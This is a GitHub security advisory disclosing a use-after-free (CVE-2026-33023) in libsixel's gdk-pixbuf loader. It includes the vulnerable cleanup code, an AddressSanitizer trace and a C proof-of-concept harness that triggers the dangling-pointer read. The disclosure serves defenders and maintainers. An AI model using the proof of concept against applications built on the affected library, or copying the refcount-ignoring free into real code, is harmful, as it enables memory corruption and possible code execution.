Skip to content

Use-After-Free in load_with_gdkpixbuf()

High
saitoha published GHSA-hr25-g2j6-qjw6 Apr 14, 2026

Package

src/loader.c

Affected versions

<= 1.8.7

Patched versions

1.8.7-r1

Description

Summary

When libsixel is built with --with-gdk-pixbuf2, load_with_gdkpixbuf() creates a sixel_frame_t via sixel_frame_new(). The standard refcounted constructor exposes it to the public callback, then manually frees the object and its internal buffers at cleanup without consulting the refcount:

sixel_allocator_free(pchunk->allocator, frame->pixels);   
sixel_allocator_free(pchunk->allocator, frame->palette);  
sixel_allocator_free(pchunk->allocator, frame);                   

A callback that calls sixel_frame_ref(frame), retains a logically valid reference. After sixel_helper_load_image_file() returns, however, the saved pointer is dangling. Any access to the frame object or its fields is a use-after-free on the sixel_frame_t struct itself.
The root cause is a consistency failure between two cleanup strategies coexisting in the same codebase : sixel_frame_unref() in load_with_builtin(), raw free() in load_with_gdkpixbuf().

Vulnerable Code Path

  • Object created via refcounted constructor (loader.c:1053)
status = sixel_frame_new(&frame, allocator);

sixel_frame_new() initializes frame->ref = 1. The object is part of the refcount lifecycle from the moment of creation.

  • Frame exposed to the public callback (loader.c:1102)
status = fn_load(frame, context);

The caller receives a pointer to a live, refcounted object.

  • Manual free ignoring refcount (loader.c:1179-1184)
if (frame) {
    sixel_allocator_free(pchunk->allocator, frame->pixels);
    sixel_allocator_free(pchunk->allocator, frame->palette);
    sixel_allocator_free(pchunk->allocator, frame);   
}

frame->ref is never read. The object is destroyed unconditionally, even if ref == 2. The correct call would be sixel_frame_unref(frame), which only frees when ref reaches zero.

ASAN Trace

==6943==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000001138 at pc 0x559a854c5356 bp 0x7ffdcfdc2540 sp 0x7ffdcfdc2538
READ of size 8 at 0x607000001138 thread T0
    #0 0x559a854c5355 in sixel_frame_get_pixels     frame.c:205:19
    #1 0x559a854c3446 in main /harness.c:27:35
   [...]
0x607000001138 is located 8 bytes inside of 72-byte region [0x607000001130,0x607000001178)
freed by thread T0 here:
    #0 0x559a854882a2 in free (/poc_asan+0x10e2a2)
    #1 0x559a8559b387 in sixel_allocator_free     allocator.c:230:5
    #2 0x559a854e943a in load_with_gdkpixbuf   loader.c:1184:9
    #3 0x559a854e56a1 in sixel_helper_load_image_file     loader.c:1439:18

previously allocated by thread T0 here:
    #0 0x559a8548854e in __interceptor_malloc
    #1 0x559a8559ad46 in sixel_allocator_malloc     allocator.c:162:12
    #2 0x559a854c37ce in sixel_frame_new              frame.c:61:33
    #3 0x559a854e5a05 in load_with_gdkpixbuf      loader.c:1053:14
    #4 0x559a854e56a1 in sixel_helper_load_image_file    loader.c:1439:18

SUMMARY: AddressSanitizer: heap-use-after-free frame.c:205:19 in sixel_frame_get_pixels

PoC

#include <stdlib.h>
#include <sixel.h>

static sixel_frame_t *saved = NULL;

static SIXELSTATUS
on_frame(sixel_frame_t *frame, void *opaque)
{
    (void)opaque;
    sixel_frame_ref(frame);   
    saved = frame;
    return SIXEL_OK;
}

int main(int argc, char **argv)
{
    sixel_allocator_t *alloc = NULL;

    if (argc != 2) return 2;

    sixel_allocator_new(&alloc, malloc, calloc, realloc, free);
    sixel_helper_load_image_file(argv[1], 1, 1, SIXEL_PALETTE_MAX,
                                 NULL, SIXEL_LOOP_AUTO,
                                 on_frame, 0, NULL, NULL, alloc);

    volatile unsigned char sink = sixel_frame_get_pixels(saved)[0];
    (void)sink;

    sixel_frame_unref(saved);
    sixel_allocator_unref(alloc);
    return 0;
}

build requires libsixel compiled with --with-gdk-pixbuf2

  • Trigger file
    Any valid image accepted by gdk-pixbuf2 (PNG, JPEG, etc.).

Impact

An attacker supplying a crafted image to any application built against libsixel with --with-gdk-pixbuf2 can trigger the UAF reliably. Depending on heap layout, this may lead to information disclosure (reading reallocated struct content), memory corruption, or code execution if the freed region is reused to hold a function pointer or vtable-like structure.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-33023

Weaknesses

Use After Free

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory belongs to the code that operates on the new pointer. Learn more on MITRE.

Credits